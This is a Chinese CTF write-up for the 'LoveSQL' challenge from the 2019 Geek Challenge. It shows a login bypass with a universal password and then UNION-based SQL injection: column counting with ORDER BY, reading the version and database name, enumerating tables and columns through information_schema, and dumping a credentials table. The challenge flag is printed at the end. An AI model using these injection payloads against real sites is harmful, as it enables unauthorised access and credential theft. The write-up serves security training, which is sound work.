[极客大挑战 2019]LoveSQL

万能密码

/check.php?username=1' or 1 # &password=1

 

此处可以利用 order byOrder by 对前面的数据进行排序,这里有三列数据,我们就只能用

order by 3,超过 3

/check.php?username=admin’ order by 1#&password=1

/check.php?username=admin’ order by 2#&password=1

/check.php?username=admin’ order by 3#&password=1

/check.php?username=admin’ order by 4#&password=1

 

id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,

当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返

回了我们构造的 union 的数据。

/check.php?username=1’ union select 1, 2, 3#&password=1

得到回显点位为2和3,

/check.php?username=1’ union select 1, version(), database()#&password=1

查询当前数据库名及版本:可知当前数据库为geek

 

爆表:

/check.php?username=1’ union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=’geek’#&password=1

爆出这两个表

 

我们试一下l0ve1ysq1这个表:

爆字段

得到这三个子段,

/check.php?username=1’ union select 1, group_concat(column_name),3 from information_schema.columns where  table_name='l0ve1ysq1'#&password=1

爆数据:

/check.php?username=1’ union select 1, group_concat(id,username,password),3 from l0ve1ysq1#&password=1

得到flag:

 

flag{c6971e4f-43f5-4090-8f9c-2abe9f3f8933}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值